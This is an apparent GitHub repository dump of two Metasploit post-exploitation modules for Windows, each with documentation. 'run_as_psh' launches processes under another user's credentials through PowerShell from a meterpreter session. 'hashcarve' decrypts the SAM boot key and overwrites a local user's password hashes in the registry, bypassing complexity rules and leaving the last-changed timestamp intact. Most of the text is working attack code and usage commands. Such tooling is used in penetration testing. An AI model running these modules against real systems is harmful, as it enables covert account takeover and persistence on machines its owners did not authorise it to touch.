├── README.md ├── run_as_psh.md ├── hashcarve.md ├── run_as_psh.rb └── hashcarve.rb /README.md: -------------------------------------------------------------------------------- 1 | # metasploit-modules 2 | Collection of metasploit modules I wrote. 3 | -------------------------------------------------------------------------------- /run_as_psh.md: -------------------------------------------------------------------------------- 1 | https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/run_as_psh.rb 2 | 3 | ## Overview 4 | This module will start a process as another user using powershell. 5 | By default, it will start an interactive cmd as the target user. 6 | 7 | ## Module Options 8 | - **USER** - The use to run the program as. 9 | - **PASS** - The user's password 10 | - **DOMAIN** - The domain of the user 11 | - **EXE** - The program to run (default cmd.exe) 12 | - **ARGS** - The program arguments 13 | - **PATH** - The path to run the program in (default C:\\) 14 | - **CHANNELIZE** - Channelize the output, required to read output or interact 15 | - **INTERACT** - Interact with program 16 | - **HIDDEN** - Hide the console window 17 | 18 | ## Module Process 19 | The process will use the Start-Process command of powershell to run a process as another user. 20 | 21 | ## Limitations 22 | - Requires Powershell 23 | - Hidden Mode does not work with older powershell versions 24 | - Interactive mode needs to be run from a meterpreter console 25 | 26 | ## Examples 27 | 28 | ` 29 | meterpreter > getuid 30 | Server username: NT AUTHORITY\SYSTEM 31 | meterpreter > run post/windows/manage/run_as_psh user=test pass=mypassword 32 | 33 | [*] Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false 34 | [*] Process 1672 created. 35 | [*] Channel 30 created. 36 | Microsoft Windows [Version 10.0.14393] 37 | (c) 2016 Microsoft Corporation. All rights reserved. 38 | 39 | C:\\>whoami 40 | whoami 41 | my-pc\test 42 | 43 | C:\\> 44 | 45 | meterpreter > run post/windows/manage/run_as_psh user=test pass=mypassword hidden=false channelize=false interactive=false exe=cmd path=C:\\\\windows args="/c start notepad" 46 | 47 | [*] Process 9768 created. 48 | meterpreter > 49 | 50 | ` 51 | -------------------------------------------------------------------------------- /hashcarve.md: -------------------------------------------------------------------------------- 1 | Hashcarve is now part of metasploit: 2 | https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/hashcarve.rb 3 | 4 | ## Overview 5 | This module changes a user's password by carving a hash in the windows registry. 6 | 7 | 1. It doesn't change the "password last changed" field 8 | 2. You can set a hash directly, so you can change a user's password and revert it without cracking it's hash. 9 | 3. It bypasses the password complexity requirements 10 | 11 | ## Module Options 12 | - **USER** - This option allows you to specify the user you wish to change the password of. 13 | - **PASS** - This option allows you to specify the password to be set in the form of a clear text password, a single NT hash, or a couple of LM:NT hashes. 14 | 15 | ## Module Process 16 | Here is the process that the module follows: 17 | 18 | - Retrieves list of users from the registry. 19 | - If the user is found it attempts to: 20 | - load the user key from the registry 21 | - check if the lm and nt hashes exit in the key 22 | - replace the hashes if they exist 23 | - write they user key back into the registry 24 | 25 | ## Recommandations 26 | I would recommand to use hashdump before using the module to backup the user hashes 27 | Use at your own risk. 28 | 29 | ## Limitations 30 | 31 | At some point, Windows 10 stopped storing users in that exact way, users whose password was set after that change would not be vulnerable. This will be updated once someone figures how the hashes are now stored. 32 | 33 | The module does not modify the user key architecture, you cannot set a hash on a user that does not have a password. 34 | 35 | ## Usage 36 | - run post/windows/manage/hashcarve user=test pass=password 37 | - run post/windows/manage/hashcarve user=test pass=nthash 38 | - run post/windows/manage/hashcarve user=test pass=lmhash:nthash 39 | -------------------------------------------------------------------------------- /run_as_psh.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'rex' 8 | require 'msf/core/post/windows/powershell' 9 | 10 | class MetasploitModule < Msf::Post 11 | include Msf::Post::Windows::Powershell 12 | def initialize(info = {}) 13 | super( 14 | update_info( 15 | info, 16 | 'Name' => 'Windows \'Run As\' Using Powershell', 17 | 'Description' => %q( This module will start a process as another user using powershell. ), 18 | 'License' => MSF_LICENSE, 19 | 'Author' => ['p3nt4'], 20 | 'Platform' => ['win'], 21 | 'SessionTypes' => ['meterpreter'] 22 | ) 23 | ) 24 | register_options( 25 | [ 26 | OptString.new('USER', [true, 'User to run executable as', nil]), 27 | OptString.new('PASS', [true, 'Password of user', nil]), 28 | OptString.new('DOMAIN', [false, 'Domain of user', '']), 29 | OptString.new('EXE', [true, 'Executable to run', 'cmd.exe']), 30 | OptString.new('ARGS', [false, 'Arguments', nil]), 31 | OptString.new('PATH', [true, 'Working Directory', 'C:\\']), 32 | OptBool.new('CHANNELIZE', [true, 'Chanelize output, required for reading output or interracting', true]), 33 | OptBool.new('INTERACTIVE', [true, 'Run interactively', true]), 34 | OptBool.new('HIDDEN', [true, 'Hide the window', true]) 35 | ], self.class) 36 | end 37 | 38 | def run 39 | raise "Powershell is required" if !have_powershell? 40 | # Variable Setup 41 | user = datastore['user'] 42 | pass = datastore['pass'] 43 | domain = datastore['domain'] 44 | exe = datastore['exe'].gsub('\\', '\\\\\\\\') 45 | inter = datastore['interactive'] 46 | args = datastore['args'] 47 | path = datastore['path'].gsub('\\', '\\\\\\\\') 48 | channelized = datastore['channelize'] 49 | hidden = datastore['hidden'] 50 | if user.include? '\\' 51 | domain = user.split('\\')[0] 52 | user = user.split('\\')[1] 53 | end 54 | # Check if session is interactive 55 | if !session.interacting && inter 56 | print_error('Interactive mode can only be used in a meterpreter console') 57 | print_error("Use 'run post/windows/manage/run_as_psh USER=x PASS=X EXE=X' or 'SET INTERACTIVE false'") 58 | raise 'Invalide console' 59 | end 60 | # Prepare powershell script 61 | scr = "$pw = convertto-securestring '#{pass}' -asplaintext -force; " 62 | scr << "$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist '#{domain}\\#{user}',$pw; " 63 | scr << "Start-process '#{exe}' -WorkingDirectory '#{path}' -Credential $pp" 64 | if args && args != '' 65 | scr << " -argumentlist '#{args}' " 66 | end 67 | if hidden 68 | print_status('Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false') 69 | scr << ' -WindowStyle hidden' 70 | end 71 | scr = " -c \"#{scr}\"" 72 | # Execute script 73 | p = client.sys.process.execute("powershell.exe", scr, 74 | 'Channelized' => channelized, 75 | 'Desktop' => false, 76 | 'Session' => false, 77 | 'Hidden' => true, 78 | 'Interactive' => inter, 79 | 'InMemory' => false, 80 | 'UseThreadToken' => false) 81 | print_status("Process #{p.pid} created.") 82 | print_status("Channel #{p.channel.cid} created.") if p.channel 83 | # Process output 84 | if inter && p.channel 85 | client.console.interact_with_channel(p.channel) 86 | elsif p.channel 87 | data = p.channel.read 88 | print_line(data) if data 89 | end 90 | end 91 | end 92 | -------------------------------------------------------------------------------- /hashcarve.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | require 'rex' 8 | require 'msf/core/auxiliary/report' 9 | 10 | class MetasploitModule < Msf::Post 11 | include Msf::Auxiliary::Report 12 | include Msf::Post::Windows::Priv 13 | include Msf::Post::Windows::Registry 14 | 15 | def initialize(info={}) 16 | super( update_info( info, 17 | 'Name' => 'Windows Local User Account Hash Carver', 18 | 'Description' => %q{ This module will change a local user's password directly in the registry. }, 19 | 'License' => MSF_LICENSE, 20 | 'Author' => [ 'p3nt4' ], 21 | 'Platform' => [ 'win' ], 22 | 'SessionTypes' => [ 'meterpreter' ] 23 | )) 24 | register_options( 25 | [ 26 | OptString.new('user', [true, 'Username to change password of', nil]), 27 | OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil]) 28 | ], self.class) 29 | # Constants for SAM decryption 30 | @sam_lmpass = "LMPASSWORD\x00" 31 | @sam_ntpass = "NTPASSWORD\x00" 32 | @sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00" 33 | @sam_numeric = "0123456789012345678901234567890123456789\x00" 34 | @sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*") 35 | @sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") 36 | end 37 | 38 | def run 39 | begin 40 | #Variable Setup 41 | username=datastore['user'] 42 | pass=datastore['pass'] 43 | #Detecting password style 44 | if pass.length==32 45 | print_status("Password detected as NT hash") 46 | nthash = pass 47 | lmhash="aad3b435b51404eeaad3b435b51404ee" 48 | elsif pass.length==65 49 | print_status("Password detected as LN:NT hashes") 50 | nthash = pass.split(':')[1] 51 | lmhash = pass.split(':')[0] 52 | else 53 | print_status("Password detected as clear text, generating hashes:") 54 | nthash=hash_nt(pass) 55 | lmhash=hash_lm(pass) 56 | end 57 | print_line("LM Hash: "+lmhash) 58 | print_line("NT Hash: "+nthash) 59 | print_status("Searching for user") 60 | ridInt = get_user_id(username) 61 | rid = '%08x' % ridInt 62 | print_line("User found with id: " + rid) 63 | print_status("Loading user key") 64 | user = get_user_key(rid) 65 | print_status("Obtaining the boot key...") 66 | bootkey = capture_boot_key 67 | print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") 68 | hbootkey = capture_hboot_key(bootkey) 69 | print_status("Modifying user key") 70 | modify_user_key(hbootkey, ridInt, user,[nthash].pack("H*"),[lmhash].pack("H*")) 71 | print_status("Carving user key") 72 | write_user_key(rid, user) 73 | print_status("Completed! Let's hope for the best") 74 | rescue ::Interrupt 75 | raise $! 76 | rescue ::Exception => e 77 | print_error("Error: #{e}") 78 | end 79 | end 80 | 81 | def capture_hboot_key(bootkey) 82 | ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) 83 | return if not ok 84 | vf = ok.query_value("F") 85 | return if not vf 86 | vf = vf.data 87 | ok.close 88 | hash = Digest::MD5.new 89 | hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) 90 | rc4 = OpenSSL::Cipher::Cipher.new("rc4") 91 | rc4.key = hash.digest 92 | hbootkey = rc4.update(vf[0x80, 32]) 93 | hbootkey << rc4.final 94 | return hbootkey 95 | end 96 | 97 | def get_user_id(username) 98 | ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) 99 | ok.enum_key.each do |usr| 100 | uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) 101 | r = uk.query_value("") 102 | rid = r.type 103 | if usr.downcase == username.downcase 104 | return rid 105 | end 106 | uk.close 107 | end 108 | ok.close 109 | raise 'The user does not exist' 110 | end 111 | 112 | def get_user_key(rid) 113 | uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ) 114 | user = uk.query_value("V").data 115 | uk.close 116 | return user 117 | end 118 | 119 | def write_user_key(rid,user) 120 | uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE) 121 | uk.set_value("V",REG_BINARY,user) 122 | uk.close 123 | end 124 | 125 | def modify_user_key(hbootkey, rid, user, nthash, lmhash) 126 | hoff = user[0x9c, 4].unpack("V")[0] + 0xcc 127 | #Check if hashes exist (if 20, then we've got a hash) 128 | lm_exists = user[0x9c+4,4].unpack("V")[0] == 20 ? true : false 129 | nt_exists = user[0x9c+16,4].unpack("V")[0] == 20 ? true : false 130 | if !lm_exists and !nt_exists 131 | raise 'No password is currently set for the user' 132 | end 133 | print_status("Modifiying LM hash") 134 | if lm_exists 135 | user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass) 136 | else 137 | print_error("LM hash does not exist, skipping") 138 | end 139 | print_status("Modifiying NT hash") 140 | if nt_exists 141 | user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass) 142 | else 143 | print_error("NT hash does not exist, skipping") 144 | end 145 | end 146 | 147 | def rid_to_key(rid) 148 | s1 = [rid].pack("V") 149 | s1 << s1[0,3] 150 | s2b = [rid].pack("V").unpack("C4") 151 | s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") 152 | s2 << s2[0,3] 153 | [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] 154 | end 155 | 156 | def encode_utf16(str) 157 | str.to_s.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT) 158 | end 159 | 160 | def encrypt_user_hash(rid, hbootkey, hash, pass) 161 | if(hash.empty?) 162 | case pass 163 | when @sam_lmpass 164 | return @sam_empty_lm 165 | when @sam_ntpass 166 | return @sam_empty_nt 167 | end 168 | return "" 169 | end 170 | 171 | des_k1, des_k2 = rid_to_key(rid) 172 | d1 = OpenSSL::Cipher::Cipher.new('des-ecb') 173 | d1.padding = 0 174 | d1.key = des_k1 175 | d2 = OpenSSL::Cipher::Cipher.new('des-ecb') 176 | d2.padding = 0 177 | d2.key = des_k2 178 | md5 = Digest::MD5.new 179 | md5.update(hbootkey[0,16] + [rid].pack("V") + pass) 180 | rc4 = OpenSSL::Cipher::Cipher.new('rc4') 181 | rc4.key = md5.digest 182 | rc4.encrypt 183 | d2o = d2.encrypt.update(hash[8,8]) 184 | d1o = d1.encrypt.update(hash[0,8]) 185 | enchash = rc4.update(d1o+d2o) 186 | return enchash 187 | end 188 | 189 | def hash_nt(pass) 190 | return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack("H*")[0] 191 | end 192 | 193 | def hash_lm(key) 194 | lm_magic = 'KGS!@\#$%' 195 | key = key.ljust(14, "\0") 196 | keys = create_des_keys(key[0, 14]) 197 | result = '' 198 | cipher = OpenSSL::Cipher::DES.new 199 | keys.each do |k| 200 | cipher.encrypt 201 | cipher.key = k 202 | result << cipher.update(lm_magic) 203 | end 204 | return result.unpack("H*")[0] 205 | end 206 | 207 | def create_des_keys(string) 208 | keys = [] 209 | string = string.dup 210 | until (key = string.slice!(0, 7)).empty? 211 | # key is 56 bits 212 | key = key.unpack('B*').first 213 | str = '' 214 | until (bits = key.slice!(0, 7)).empty? 215 | str << bits 216 | str << (bits.count('1').even? ? '1' : '0') # parity 217 | end 218 | keys << [str].pack('B*') 219 | end 220 | keys 221 | end 222 | end 223 | --------------------------------------------------------------------------------